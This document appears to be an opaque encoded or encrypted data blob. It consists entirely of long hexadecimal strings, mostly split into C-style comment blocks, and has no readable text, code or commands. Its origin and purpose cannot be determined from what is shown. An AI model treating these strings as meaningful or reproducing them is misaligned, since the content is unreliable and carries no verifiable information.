01c27da17570e633a709e77f9ddafb7ed686aa8d453878fbf9be6793f7de1278135c800495d3fa4fd2d2de32d8749b6e1619ad8686985a35c040d02c07ea6426b4bf8b04ee901958a3efefb2c964743244c36ba83312e0a79d4ded77d9766bcc6b9534fee17078c9c57f2b837602a5bcc6bd4a05c73a478c8066be2e16740eca9b81ab2a7c8ba4db9c869e26d630689dfe2868de9c8a9a2c17f0547e53dc747fa7ab734ed2ae111f93929d08823af59641115c86694c683039ade4de037f3041042b99598e8c5c540ae028c8f0ed248c799755d8283f8ee739e6ae0cf11d15111c5de24052b42dcfdf6c39d0a3fbfe0144f7171dc68f28c8f366f9fe0c3151e9dc654b9b3762ca61533a52a45014a482fd944a5f2862b7173d7879eb87bb57088aa67c390d56a1c1a1157239d7e4404eac7014d56b9c23777f687ea3fe1294dd451d1adff6fec5c86cbbd6cfae27f75d1620d7ee2bbac073604a57fa1c9360decb9ccc7ee6d0539bc53d7184c9e7c7484278d3a76f77e9b6372a348ad2d9fc7a5f03b45f10f6520beaff574ecd00f60eaf28a05ba273b4220fa0e6f6a542c42b2075fb91f7b6723b5b787de3f427536c69fa6a01318f324e19b38feb9aad82a5a65df9e0d04aa3b107437964b129b17f578b8d9b329e4d80fd73ec415bb7494ad56e60378b66e8849bef8127047af95c37b9676857f32c3552c3b6a3cfa6c2d53edd8b07f1eca02723a4ef7c2a9a99185326323dbd458242f4de3eab769882f1a698a31689c2363246366e7bd365b1408b51b185aa1f6825592ab1ef47f1d5dd283f2f0748df31999943d38449e909f7635d03e7b719158f025fd416cb1055a524d2a7877a1696fd3b9c1410c1d15d20857a43fdd63f628ab1e651f7e21f64e3e8f3212bafe9863366001fa1da43ec0c32f6fb456df5205732b96ef068a7d2b8266d0200904ed9ec311c3dc1cb02fbb69f2e700915c99455f9c073282226940480a194b2fee9d409fd7b43bd144e6da70238e649563282648d56634d59c66f8976e8425f50dec1e0ebdcc54999816ee1d7a4f0cae4d7b1220ecff3ee0b88c9b9778f9a9fd052f7186cbf7b53e1bb8a703aa8e6f0e3e198eabe9e1dd70d86400a122a6e6a84b2b0985fc66063759fc84514cd36aba7f35b8e9b48fafe2d1f6815607580cee44b6825be12916bed2a44993ba7b83261614c3e97e03135da2623a19e54d2348cc46aa50a35d72c32d4ec7ef10de45c780c94ea629a4df239973639002a70ff635c28f729f086fd9cd14a286f5c2ccee7a386948028a87417235d0e51817d9972c57aef741a0255c833b35f335fff4e180ecd3da4a5d86b06f1f21a75ad791377657bed367b097d7cc74424019a1bff166e61368c7bf42cbc6b027c7e7f005163bc9d86b21a11af5fdfe0c71ee294a954631dad0ee37fc6f3b6fb00a96702b40fedb5fd68f458ad19e918d049b5e7a06cb0f0493501dea48d9d537c710558c3dd90306b18d5d67102e2a7a981c612dde0aa9a0ffb8646b0816df26f60fc2f6550525ba3e5528131d517f101eae83f96d8430dd3025d077f4f89665b4f3cf1134988ae8f490261489417c7d3beb93a3d1241673e95d0f903be183244dccd4a710bfce3134d0773e7cab4317cf6b450d2406a7bcb0d8b41dddf7d0daae863383a1d6e5c97eaf4044aa81f6cb920182fe7f4bf6513fbd5a92d6e81625da9a94ff0049999bc72bd22032e424aff7965a9fb9abfc976c8d14a27ed895f617f62ca72ba331bc650611b8ee25ee2f07ed15edd22cf9eff289f6319d25ecc75cc477fdfbbf82c751488fad470f229a0801d65d52dcfbee2816384a76ece5813d497af2b9e5e195fda2975a18c1febccf1bb093b1a1a77532584662078ebc4ede80d536a8a0d5847a90c35d782b87c208939c436bc43e3af6bf8840cee25e6d26ce2b81a06e40a6a58fcebca3a0aa7ee1fd8ae0d0227c3e1a0b4b052a1dca9875477941340ec557dd8806f555ba771e167e7188554e70547137f2953685c5b8ee5d65d3ebb0bc2863825a3a3df3ee3338a4d15e2c30deadab91b3f8a0ccfd8a20f2d91ead61d1d2877ece22df77afe9146e4a4b325fd3e2a0f94e2ec56*/
/*ad1a54f7e13e0d2e69747bfb93f9768b65b7bbbeb02ac1e5cc5c793f3a22c12cf617ed76aaa45dae7011b433acd1cc88f37bb3e9c2fda8cb0f6e8171d4c0a0a361eb83c64786e173752270a3e0d64e3988c8d0aa31e91440fb1dc3d68277b20682ae172bf25ca00c368ea6a8ce6f16d8e7bf3f66b3990045dcf2af8655d2d88b2e8e3b905b49e4275678bf9c40b381d727c958802f4299615dbf72ba0ab036a69de837a93b01f3f7594fd5f3d1e8d7f4ed7cf1a5e0a5db399b733df003cde2bce060c065cdc8b41f2214337e94d70f28329585e53a72c6e24014da97a505531920137f4e2d2960fc57dd36c2583375acc2d3b28fdb7ec4976ebd3f95e5c055da15f471a97e1bddc8ed8d2df41f94bf3a34789666ebf2dad6a796cc98ad1ec7c85f84d621357d92d30aac5fb56d6e375df57189d876f0e48f9236a40336f07577f5a9141c1a9e89437b21542e1a0f65038e0596a61bec35d5f84475c8aa0d5039b4b0854b45e12a1c7ade74d793f50645ad6e491fe59103715433dd8d55a461d2f3eca46a606c1c7396a84cd3064371b033a358ae8f18cc48b93c2c765f52ab310f4f503d6770f18bcd13293b0a48d4451ad3cb6a64b668aeddc1db1fa7d4f223019cfaf765672d8d45c9dab1a1f1b8c0231349c7431958e6a3bc7d1281ed7a2cb11049a34cd133ee8add598d86c90272357edb8da57076324863670948eaea3811ab6e18a7d2a9f62d6b089fa9ce732bb5a4942936d10ad3d999fe4d902c970edd836edb71e54f904351819d1f5919711c082343d126f813582d4fa084d0eca58baaba4c1bdf3e64e7b811ee33e345a39c48a03c77879201b9739316396903b0ca064cebe4fd503f585bac367f47ddf88dd86d28a7cfa4cb1fcd701085462da75451a5e3b21d89b00aa84658c8c72f04edc286a332080c8507609aae7b5776401e03d1c1a4d6888c623a49b92504dc5c77fe2fbeb5201572d275ac0b7b0b94a96c222e64a2e64da3bd3f3f9047b3cf453c440ee79f1f199914883d1659b2012314682a7310187a7f2b067bc40ff2458d645bed2bb7b9d4858c809fcec0da29c21509441b63eade565cad65725b74b38ce0c4b7eb11b09e82bb8c86f74000beb49871fe90a7c2ab86a53c786da749522b2f2580969e9c2dca2c789bfbc44cb1b20256cb62a85596c084f1463fe154d26edf8b74b0726dc98e2420d4c548d47d1de1502404442ffa1d4c7f1b5b3932f4601e66ca1fb5f05af72fe8a47b257c68eb05145244e3630c22d3c6534dfb6fda04e73481d857b16482dffbb173f97ae96ae2ed31481518988820e8778eec40aeae3e5a2f2aa0cbb7857152f930889400552cfdcd382252ba0737136c0e02fe8d6a1ff27e51abf783c4e930bd0755715098c495de82af44423b7cace514d6f6790bb6a183a9265b718b33550bd0e311f05e1d791562bc76d06fe358678a6b3013b3c257aa63dd0257c772a68633ef497cfa5b3db705e27a86786ccde1af3a9c2f8fc64c43e4ba9c48f51745649ee30bfc101323dd7d638a306041de139ba6631da1edf5629c4e9d23112477ac2bdffccaf43efe452a2709d121e8fd7d72bcaf01c1fd394631e08beea23fa49b46f6b17453b0046c95b8c3847fb876189ce1d37c547d9b618c6086ebf93d82b67f1923a73866968e09e36f3c56048229968d056195c1f06dabb8dd90d23098c4fd9bef711e31c246736dc6f3912f85a2c9f836e87071c2bbfb4e4611bc24ecbb6c5dddd06b73186513ed81c5d9687d361cd5dd3b9dda5ee9c6a641984bcad5cd745ca268393a5020bdb5feba74b0885794b0eecdb640e27e7cec2647ce40499d206024327b6ba02c3243bbba07a621b0f1ac33e52b95d473450d5413e972c2a4d4be1b3b629a8346a61998223b80de518e8d31416cc9ee217f442e294a1f01745af9638c1814876d6ceaa0a58168f643cd51bfb51828bb9b0742895a8c8475ed6911dbd7858728b0b5f79464520d8712ab931160f3428e105a250e3cbab3bc4904aed718ebccb9a24a031f2288141de17117287c6b3278b2ed2b38a9cd6e84cf47a7134b423f0703f3cf727cfd3ea53195cc93e244a1fdd1c261e6431e359278c0a49cbf720db2db221c67cb66a1621f1cd6f74d885e00dcf28e3f4ca8c0b66f213da3e4a036f4c775a2140b69f7bc64e19b579c1be45d83c06421f27b0c9887522a00d2fff2d00c8f49aa64b22ebfdeee108a5efb470f7066198c98c2a8ad168bfe66ad57a2ce7594f835cf1a8f71bdf380f9b7972c914be7ea9ad3ae7930b3bedc13ecb62e36e9fcff8680eccae8336cc1bc9ee1590c232f785525f59669230f888fe3c39b32e4d16d48437f87e907e402eb924892b55bc584fefcbeb4ac43bf9738e45e60d916f97fdcf67edf295c43dbea82bd7e2c44f2c78eef0c263ac6cee5fd7a34d8717b01ec0138f63c1ac86730c1ef67d67800ca28573a537c47c4c0dc6e83d4bf1f98d496f25a2e3a121aba7598231376fbc6bd03c6a83e853e29306a79c6781eb0296c4e081579240bf02af9ff580ba2b1f205687a2bcec695a485a82ce505ebcb0c1b2bb0b21de6144006aca359edc3a9371e8b42992169058512549d60e8124ad654ddab85521b49a32f2ac6a54461f246e72e5df9a99d6400a9d41f261969104cf6dc49c09fe15d48156bef4e368173702a683d3c5856dfb5b0a9ad8ef86c00d5cff7ccefa788b8ea9f70533bba8ffb74f06fd16cb57d5d31c6a2f62501fa066a384e46df460d4bf4315b0cf6e1133fde4dbf110a059251aed9ef8fff78afb77f0d3f233eeaf24ab49374a305c7*/
/*88b55ded6d5870094dd90517be7959cb1ab7e7b60ca07495620c641d9b2717c559960b2bf95ab81e7115da1edcfec6f661475283cc1f18074b05e7a2197429f4aa8ed3fc138d7a2ddb091b329116a88caf7a106b0f1677fb76b63b487e44da1be8a955ff5bbda446f6ccd2802e9bd631da52407458155a053834a368e2c0ef448ac0d625178691bdc4fdcd6b22931e715cd03813d652336c64350505a00730aa6bbf6f4a074076b4b1b0eb5e4b583bcad1b33d435574b5a8cf8042a9f8d8d53244d3f94c36038bf4127c38e1f0b54a262fd9878487cc9ca559524bc0045635955fb4b362ec4d55b7a777fc864026b529e62907a476dcabc335305a044b60434c42c7b41e2b3a1bfda2754cde01ecfa776170fa9c5641c3bbb3aea2c5654388d6cd3e1f63de37c95472e850a7b21a3708eac8fca88be5a94a1e29f89b1d63e3098e987e44e668b04cc95b9897eeed5b729a637c9de636949265046d3c74b5a358cef1b7741d131fa977b7b10238b9ae28dcd6b2ed6c0b42ffe07f4f3f20f12eea01f46acd72632a68318997a3b469d1e089fbcd5d801ecc42673846c65e2adb921b4c63e33895a3dd4db60b74d1b42ecf92222900e4a11f82efd3ac4835bd786d25a8b9ba06f5fb71cea0f78a0cb6e2f92f47c7e14d856def7c0199ee3febc28659370e8170b1b365ddca0f82418795ed811dd141c6f7a25f6bca1f4563696c15d17805d1e1adbba2eff643084ec53d93ba35615fe3a8178c4fd09c21b966457781f617a344622e1fdb57e5edd5d29cee193416978405aca15f46e5a66008e742007f24246c0384ab3777625d90547e3b21694defd1ddbfe1b03e96f5857218b9ff34a6594debc8ca95ca7a1cd7c71ebbe9ee532bc8468537567f9e431b57f629c9af4316331901c1de734943ee15a0e9f7fbfd597ee6521fca27c165c2cf4fa526e8de3e84cf2675010f1621244e443194a5676c48acb6124287c02ad881839fe2e460ab1f9324e68a9fe137e2fb82ea01cdd7991c186e3d41282b5baaa661f6076a2dd830429fada80f746e3ee11b5ab46a1d86dacb7125e7618399bb78b9f79eaf1d93b01d6a42b02ef06db7a3861c8bea7eec97500eb5559ac97ff30f2b350e9e50b856f57b1c00428dad0ebca6009a1c9d1e51a60c0f87d3ad9bc5c916c030878734ca8b6d4017d2ce5dfd6b78eaa9137130ffb15d27f126b14bbd7586b943c90f3f19886d5785099fdd06f07cbc4b25575ab7d008a342d4b1e3b4ed4cae8b3ea9900ef2f5c28539ec15f3de1226e99017475e63b1827c26904c3fc46572b76c183452ca813434c6673bcf98350d4749b3c95ffa6da150135a5127d16755c8d9ff4e4f7cf71e063dc20a75231f00b2d3350e976241e0781a16d7b45eac6f376fca87ec0061580e6a8633d47265798977522a0d9d280c0ecf675737c16364a9ad45675daf623db94dda4690cf4d0014d6fb03f62fd8b1cfc937050474757675e01dc4ce2ebb0e61deab4b3e9050fc998391c4c837d6eac2010db8ef9268cdd5344aeb3e0bfec63d81e8f0527fa206bd9a1427cf37709f7c2e2fa2078c611b273585cbc9a494dfac9d7f6add6e41b6b21a6189fc0acb8959a33d55a6e9978ddf4c7afbcddea1d59dba80580aeeabc0a1c8930fff060944d4e8fcdbb9d096b322f290d2a935279dfaf06135d860d8dbb2b209ac0bd65962bc90cd3f34a2800e1db285787f068153c6e06f972c5be716f33885f40a7b92b03a63cbbb2564670dec8e6f87e76de7f6bd9fbf7e1ddf4d353fadc1ce0e649e79b073c6b3cda849bbfaff58b9e70379a095f2085eaf0b27bb2189af3554f246f1f6170ad7dda14f4c51658531c3a14845562aa942595b6699cab8af6705dcbf3e2034c7ddadbffc85689fcc9f0bbf705bc4def4b1280ac75795e51ebe6d2021a4ee67613a95e082c4e706bfe3fdb38b6c910bff9a8a0da00673e7036c4e7acb49cf4df3ca6ef62e17e7a08c96952599d9b31d4b687d7247bcc56b5337be569b93118800340253b7e462f4c20854a7808795463e6fabe1c6f48d015d42879265ab8be97c32077b6d2ca8fae8a1ac3545a4b216ada79f0f97828191d2b5517666789f1ea181968ca245f77ce76fefaa761bf74e7009c6e55b58e6f4650bf4954747fffd0450f0dec35da452c781db22904c76129299bb8c40ecc92cb195884d4850789b64c1ef617cc3b7681f0f05f388b1646b89f43fd54a3ac320b814ec9f13654203e8e1b0410bfaea433f6e6825fb739f99d22d98e78bf103a6258d16ec2569a086c2f08d4bc40795fb99f86923936739d30da99d76a8529d2cd3a23c857d7b38ffa0b15c3697aeb3d265a4314cf260a74aed38b6d97070e98e9fbc41719962fdfc5f631b050fc8c8a89d0248ade179c30f59f37a7178953929cb73512f3938ede2514fbec6f767705784653666e4ae8663b68e74257ba1183426802f3fc40bc4f077fd75be5a803739534390ea91f1fec326d9ab71c0963015a0e7ebfdb14080e2f70809cf42718eb25b975dfa75ef6ce6760b620af6547d16d7e0a59348574d6b820a3753f7f2fbebf5a737a9790f975f872230aaac0ad70629185c2123a3b6fbf3d42e3ab44106719221a0b8fad5b7c25ee8b4c98332b81c548eb078e69dee67d79c36e9221eaea0685d8be079c954bd827dc7917dab51df2f862b0574df1014e757c38748b5784311453f41842a6f79e07ace66611b81be01083ba5d3d32017c3f8fe32fc3bb476c488f1313dbd8b112fda5df744f0d8d780f55c637c19146ec9ccf8dafd857fd89de2600b9a19fd6e126e55397921*/
/*5a22addadb8e3d929731f8414636cc0ed4dbb6dfee8ecdea87e5c707a61247119df54afa6f3e3b952467f45afa4877def3d3973c2b2fc7f5ce8ab9b60f0e4017a8cab4fef1f65e13d195f1c4a2830050ff69fc5450e297de01d96c8914436667960a23f93d8d21c411233cc29f789e26534039443cc993c4f55e59978f6a4584df56209bef576b81d8e64106836080a99bee163fa343c6360f145fd8b485ab73854d28f694cc481d87356ff27e2092b28983a80033fba57478e1d70697295f5d0e458c2f75ba8ede7372d8fac7fe2d4fd6ef5fd4048afc4a1ec84c62143a2656228d27badcebec76f7fdcfdea0ce4a8496c39f9e1425693e4f1cf9a463330989246126e9a2c91ae7c419c758a1694b1b841b75f14cb64e2439e97a0c2c43ccac21bd6c4b2d360b4e7ddcedaeed53cbd2dbf4b6527ba91482c1b0b4cfd41f7a91248ee8109353118d302d2e87268fed165b706fa184d2c300da821999f69d7d2ab5fe4ca4fbbe5e4b67f0849bbdf3f4f82f20cad2860b61e66a7e91e67d152b69b0832a2a8ac32b9c6dd1f4958e235ea09cebf01028086b5ce8b1e8ea5473eb218b7e48a0803529cab93e29fa00bb484b3b561e77b1fa65c8a4007d869a5da72be98827ea30907176a74999532c1d663c0851418a8c11c47f05e9438b0efe7edf0ee3b90d55a1cead0d8dcbf7204798c2a3d01f95b67e54b3263ec9da99fdf16d253b0c99d8e1bb0e96bd6a8ac0233d27e331a4844f723a3653c378ac391423f3eae16c1553ba9c80928f871d9a39a662d477c42dbdfab809869ee5f8aebca44f744caca88391ed38c9166cd01685b1e16f09dc94447a7ecf71bdfdf5ce0ddec4d8c9fa1d9489eb55c51249bd7ac66bf09955ad76501782d6d2fb96c0ec7cf47e9e07307ec75c8cdc3ac7bfac30a89f41329581b090974d47938bef46537fae597692cd488b8cfec6e07400d9f2a368150d604eebbe075175b25f70f17a25d4fa26b3378693a0d67739ef1822664757996691c2a423b191bd4b7de76b541d83f516e828fd546388cb71d4f20c0fbfa2a016110577c6d8b75e8368efd5dc08185687baa43804aa12622e58af530135d3e52eefcae447382e6b5d3a13374d65811a68023f52a1ea48a474985d5d92c2af26fc16a76254ff1b6a7642b8c827ae3a75ab5aed0b909f034e8feb3a4b865d1d59330225706980ebb629f85444f16ddf4ff0caae91457301f9a6e314be8b3682321de3b66e02b4c2e778309a8970b1c32c09b9e760db32a93595598c0ac678a62a5274a6f20798f5a59c2d43e984486db9ebca84d02cd0efe92b351d724c5f97b111788bcec93d903043f376fd45e7d9280e10b9b89eddda5ea6bc0a76ee2a0bf96e3cc15f72326bf1030c74f067907a2ed16fd2d9d3d0b5c91bfb4fad2c3cf06aaf77c5e113f7e18b45bc504f0cf3ea2bced3aaf357c8a2aeb48b25bfedadc0e30be7fa1507d24f4a1874b60be14d443b9c9404e72b41aa3cb5d259c2ceb512239eb43190d1b7829e1ba591103a747595fe7333ef858e66bc19cea6b0cb472ec3fbd1eedcd905985d9a0a06963bbe24c9f1492ab30bf704dd7fef13226e31875740643376969255a55caa4d79d956470ab29f25f5340bafc212c094527e8326fd245d5c2cd00359974dc0caa05a64cf3cb291759e9c625ba8170c8945cabf16138cef6b175091f80a04ea9384701f31e8b35ae4f4c6a16c44926ebe413ffdbf2094dc9c039a5d38d2810842216da640e77b18a30e920af6ac27cc4e291b2eb5ce147d024efd2eae20d490a2d313097e81e9c24abc4fd12c50ce7ee68ce1689f8da5ae9c598e8e100849c0242cc5f017970bf2aefe6d99a5bd416432e4bb61c61bd731bb5f4740f5b5c946e478f5b3000dc7e2f4231a30a636ef3273bc4deb7a61584b9b481ee844be9ac86afa8490524f24fae472f2dc19040110fedb74a120b98489c981b5983f0d3b71cfa6ef01acb7cef722d68e865142dbe9f6058802c9f21bc4906bff448537781c74cbbb788784d5e0e62dbeeaea4b970959b89f4d62ac7e14d4edc77e70935ba37075612a4464f7d584e9537ef927f4632b72589b2bf1b42b8aa901b2c30ca5e17f61652267a1e91ab99d53ac1b1ea6b1173f403e120ca04a7cd338ab2f1c33f50a59fb123bdb09962055a0457c4c7faf3f46ee5af5143e1b8d9429fb29dd77ef534333f838f265668b08bc49bdc3a06d3499643b0e2ec1468923dbb8cb8b472cee97a2aeb7d3eaf256466f391419e2f286323f9f1dca2e703eecc4b2568325a2390d608e7c8e62aae3f93400174cef1931c8ed617988e7ea58fb139f68612368a49a079c495b6cad7716d16a567991e8627382678751f3d3c11294e67daeed051bcf38e86a68a36bde8514b89e99e72c7b7b8ab1a3e091d3fb9c56d4f53de7f907434409a9793f03864dedc80f4d7e7d537bfcf1a4c5aa808ac5299372b1ce940bc779e9b01d32e13cc3a967c13e6738fe3f6214b22bad7326528326f8e9f7ed119dc87d21655650e7fe7d91545762c808d27c113ed1ce745f595c640a6e15ad5ed002bd058fdc88f569979056a2908718b0b7dad203c3a1c1d04433d8e52484de8affe5418225bdb382923fc369583e2463ff216b83c07a29104f1ddf5e241b113ed76ba752ff6689be28c73919eabfaf65a3af2baaa4063da9eb8972a31d1e14bcbbad27ad69a6f87030d30b2df94fac612562467c3c3ae3386172acacd95065212946b09ba45ce17e0a83159d2f8704c17fd1fdbfa2091e154b5003ec428ac4961e7c17873949fb9bc3fba774556a0bd8448c0581*/
/*96b0f5d5e4c4e21d98bd3fa42260eb5829fcfd5b7037377aff235429227530ea2fc4ba134b487b09946f2ec46b05ff54db30a3196a717c73ff53472c47db4902793d6f33dd94e8f3a730132f54c7108454e83959e67976ad51a7de03d2b2a04733e0122f0cb1407afe86bf766393f69a877a6bf8dce57405ff9b17ba7f7c10d7568048c61dc46d48feeb3c5c2cf4292789be782ed62b8c0adde96711b080091c5c7396448ac14d41fd649c3408f967832066bbd50086ef32e53600fc53e59199bc332b5edcea51b8c61d754956d3ffe98898d474705f31384a81f1bd158d9e0c26b4d7ee0907aa8c4a5b685132ed43513fce81b3b29bf41abb57044c3930ee9083075d2126614972bbd251157deaca614497d5c9e47a838a06db6a5a3076264399f8ea699330bbbb8ed3e5e344ef774a953d7081ad36dd26ad9496582b2c8fe6e79ac69aafbf59f27514e6963e525102aa8d0ac9c4b6e290198f9084f9bfc49ab55f45236874c536acabad1d32cf41f6ad48b0ad915f5de605d1011a200ab7ba5c1b6b15a83017d809d0560bf8a0333e2d86ce27ca675745ee8546eb85030e5e50082bb508a0617d6f9ed545abd8e1128b98e511e2d923bda1f7a696c41ce9cb3ba0ebaac5efbc3824425b8f59400c6c69063eda9cb50e4685008d5725d615c605072457dda54b2a68c8ceaab148a6218a2a8ae1d494461cff2db15c7a4ace88da6005dfda4cf53e625941e740983c69df86f54c9762e2c7435f34964279dc37e817b079a7e62a691e2f18bff6b289623b96ed85ed4fac2a94c31e07ab4e9e368b2ae2c147a18f81bf59922f9c9bc24af03af3d31834436a7500b250f1901aa9722bddf17c0df41c523f3bc8171ac91630042709fcbd849262e62cf1f293726444802ce51cef3c1ea3a37967b4a7a2b39846d118f3f8f2e8bc712b7a01450475699463b9365d9e9b6309de1b36f7f02dcbd3c8d980a2494d8f0a42f7bda2e5e09e9940bf649ab0970bf442e54b9a33b3b93e903ccf51a227e0ca691599d22089dcb25615de353ad93dff0b2de14c177f2fd3fc439950dfb869bebd5ab05b38c2a4a9b3356170fa7d1d97a4c442b3f04200d849af20a3ed1c1c0be35d954c082b41ccf0198171b193d98efa027065376da254945c214af97723ff90dfb16c021ddeb1884a00a2a80f81bd656ef348384ce18a3dfdd6cd91aceeefde38aafb43630d805b74af0d3418297f3a03bc24c6fac22b944c02c15037463ca871ae9131b54c4545c8d057596f75790f077b206fc1c03e0b26286b61da251310c69c388d1eed3e920088a4f08198a7797f1a739ff348105c052a54b891e461eaee8115080cc5cbec1b243fa2013e37e74330070f1e98d403ad6d2f2e17ba18bc117a311f8d7af19a0af32a311009e723d497debb7604ae73cb922fd38f474a19b0722aa054b388df578ca55779180fcae4e5c25f2ad89cb601d020dc6c8e2777d0b5b608258981cafd9254d96fdf28794452cabf223ab78ee40c60de2d691788446e887e04ba358f1700d0fb7991988cf40e78aaae506d6eb107470f9135504d810c36ce9c0697c51a9b15442ad22591bbe2550210b674b3b3d996ebf1c809942aee55ed4b9db80c3c33345ee0cf9ab1cf70a3142c70c56d2aca218afcb94a82bf31952a9ece7dc798a86c7d4b8524a7b5e45e5f504647fa52fb7beee174a3089ad7f47e5bb6cc9cb2bb6355d0c426225048c381e5af7b537ebf01979ea3f7094de72b726747bb610d2c591bfb84576ffc58d10015ccd7d11f2f04cfb720358172c6d06b89d2d95b22d273c729ac77d784840cb29eaf790bb8d96eb514177647635802ca3f83ac1491f1b4dda0eff28558ae1b0c7538ca015783b8212c007726f51792ad5ac6186ada1436413c58bba5ba9487a0881c8aa948a04939f179ab02d964ebee81fcf738a4f14f0ce2899730ac0df46278dcb9d22295acebbbbcea1cb7c4b5a448c134aba7c47bc0d9f13d9a332b950025721d1e98adbb1a206b67deefb66514e304087b57da375c3c3afd3b13eced7fd3272f11d5777776d5399deb02f21cce726103aa81c2798a5cc613614984c6a5e595a8fa8e3ca95d558c98448aea578f88d4708cca785e45861f5e18d37858c7fa13b26fc56d9ff6ee806a3a1ed19b2503a79aa108204efd892818dcb36e1a4040cadf500e7d257cb71506d9a453702389892962fd080109f7610d60fdcfbb2d354829812e2c79e323b56c4535dc99675f9e1205b0cad6946d7c8060183a9cefad5dac4e4ca25e1766599d540b7096e5e00799b7b1ac4a83cd904a313dd1e24bc7dc746e3c176f6d664fdc2ff45720329f49ef7b315affd24a8d52415307f9d3c9d8776faaddfbc1375394acca1375ce5536fce26f713efa83a9e1b9be606ff0a025376e7073a6c4bf23967f6a75b41fb3542033295fec4e24fadbbc197b82b8ee823794299ac4067d01d0d59e6413e048df4a32ee4d592bccf9708ee59873ad42872d2d29990e4c7a836e8be44a4e28c7ed26bb7ebf528b318937518fe14e34c265a0ec41b2e7cc808bb9967d49613b00846e924d5722333a9540ea42ae056c9cfc0af5584e2a4d430bd9bccd29c1b1e244d0fe4acfa9442490ade0506988a5d1b735b5f821f52616b6d99e334b74cf13ec23385882367b9fe1a0339d35188b9b34c29521ccd9328eb05cf7709716d0597bc027eae293900b7b9f5d864aaa53909ffc1cf37d92f44e3d1d3f78b36ca2fcd0aef6af55966c15f31b490effb5dd6259b4c2364082a50ad61faf1e83ead1715f8e2832973b271248c2725332f8e89b*/
/*361235497b92e0875903af1e26b96f2424e5dde06871a1a1b599c6958deb2ac86d4e5d8dd560f232e1a66686f37a371d727a8dbfd060b2f402ec534da02958703af13da9fbb1af0f96005b92ead947cd99dd9689b37672bec6fafc5b098bb134a173a34529b421f1639b3dfaefdf5b8046a763ec42d20c5648a50a17949f6a6b98de2d468e689e616c7d558e4d99a32470bc2ca788b63a202f47cd0b3ff15b1bea830ab6f4a660c5320899c69f0bdfea6a259099374f9912837fd9ccab28840d318fdbc6d4fdfad920c4e6cea2d9a39c010216c920e293b18d51a77d3d301d089ffba16308a626b33a5eea150f216c98ae6671cc55555b58a8713248ca916a4da559dd584939878a9c80e469423cbf4a1ed2bf2b69fe821715a64a229437ef9231be4c50a333b28a80771490288449e3d8845cedc40f4f719d5940dd7617cce8d6a486461855af78b92da5189b05e962fa0f6dc4270f23336063a6d71c3c5b4fbead68250e815323a30febbed6cf121eee6244f023b6c5feee84fa333ce2eb8adb1dfd9b58aee0b8e1885fdf1ae068fd01d67bdc0f810bd6ba1784bac9b9eafde01cbd3d8337f722e8fcc8c5a52c1063d6639f66df2e1a41335d908567cad42a59ccad0cd6b7e885edc5186eef0cd59c8e78823874b7b68308d7511ae41f3ec7f724623846f3f910abc63e75af72f64c63c3e791c1138acc66e79460e01c36197653e91f5261c9fdf8010e992c2c80a59094d65877ab5a82077a20e43397c40b8e8fb85b35d32e21a9763a83355ab69ccbaeda679366e5a2540f14b7e81928c4621fc9d2eb8d41723baf32ea0f8561deb4bb379c373532a4ce52df526bafbcc0f037458a3b410b9a33337f895f6a06e03bc22db8d47b9304746c548e3f00922ac07cac6fe6ce9156f71fe92d9770f058d4efd31075aed26fcb2a2defbf3530148fb7e87cd99bef5ee5ab42744ffada1bfe67d1d4533c0604096da596e8a45d0776ad1d3d5778e0b755e55f21bf9c1c824a9d41b12be98dac5f21a5d50b3ee62ea3d2e7e1dbb6a61a5b5174b15ca8e493b667dea8b359213ddb471fa18896a757decc8e7e9b64cbe57f2a7b3bc7917e1806325951cd86c73ffda7ce8dba5517642bfcafab4ac84a3342195ee9ba64e43d61461787dc2b661d5fb839f245c64adb194cc6556e62a542459d1b8c7ae8d0c03479e194e085feb3a341fc71455a8aaee55d39e7ef7d36121473973b17a6cb45200568ad3855e1406cdf88f00a52f21c0a20d1109e916804508d9f842a3ad652a16027d5e9ea31593d19318f9679b70ab258d2efb442d8f5bf061feb399dac45ae329d83ebae5a068b2a5fbca046fdc796b7d8a72c8da80e9ae852cd8c76093749b641057773a279d61cc63c4286a6f649a8554836fb3824170a924bcb60c9a0f6ba336bc20cc0e84eab470cb7cf71a8bdb2dd7ee4ecebfc3ae5921b0f3fbaf3a0baf59833c9ac93f1c325aa487a4376c16d0a3847b2de2bc500131336c6c0c248e28d38f5ffb3158c1873a20f2a90bc82e5adc318d75372c42ce17cbe9f57d810a2f02662bcfc352bc35a308cf5d9d48cc5a33703201e450792179adb5af9cd18b39cc382e051eae4c4d3fc3923177a8f9d670117402619b49ce53e9df62255dbd4a7cd8b4ea69560cdfd0e72833b3e3980bcd0a46bcba240dc80f82cf9c23776deeacfd28e5ba32491ad45521c8d8938fd83092931d25ca5639af75db5e14af16961260361835d5280b1a67156b1b8183fa6ecca2dd3c896609bf9eb72a49951b99532ed9d423c4295da7feb6d6f19e1186802417dfc670e4001123c75e44e9cc344ffeacf77504e662fa5b403187b38463dbc12bd294e91621568ef3b3356c62322a3f5d8bb37bdd8201fc7f38564ab671adfba1d0bc452e1c7c5d04c19118062bcc8a1777e2f8829ac8176538adb6faf3f2c53dd762d748f4b0e6c3b464944337b1ffbaee3d9ca7f2d20b7aa8f3a216f0c230ec97fa9a4085203261dab82bf88219fbc2ffe0d6195d62293f8fc416992edb8add57ffb8433b6906a4e9174da4ac1edb08ca564b912b8a47526b8e772624a7a77123d0d8d2f51ff69b9591b5db51bd06e64f6fb087d9bf1211a822eecd8d8073d77d0cb68a9ce6576de6b841a1666ae44fe89ea68669ad040087f4b3d6759c25f8b89448745ad9193ae506cbd6cff726f7e3995a57f283334ccca742d2ab427794a4a7b8de19f5f3f91d72240f1f1e3975344aaacbf4d35f469b3e35a9bcc10f50cb3d7f6210034bec252a0dfa4d4b14166040927686949435d7b3f9c3ac831eb92dc08ea4cdb6dda50f3437ac049d22076fca02fcff5f3936e1a10e43dfaaae319875a36fb8b5d5c5061378f9080a75e1c259648b56952d48a27c192d9fe41f5f6e768f43515d1a4c6363bca080e1687689dddcf03ec6390724f1bff7a4625666e2917d747151e4326fae8a428fac0da0d331e2e94189eed0b6dddc285f204b909a57b6bcc6e9a231faed4760acc8f3f331c13998b4558c41b2d66a7ee68c3822fb9f6114a639487176ff65117e55b4367a06e1dcee4430c356f21410fbb5eae3a5ef4328b0bcab1fb47de8aff01182c23573559d02eb21db1df2b8881dc21abefcd1e1c37b25d2350d10162688ab867b380bdb589dd9203b987575e65a053945fb16ffafcb033bb6f6be2ba4f285536ff937fc6d2efffbf25cbb84f7d868bc094eaf17fbb607af4664bb915fd9d210a0d5d4bbcf3eb5cefdd7227385e515334f9d26614a8f074ed01e8183cecfb05a536ef636fc629ff3c7116a1112683708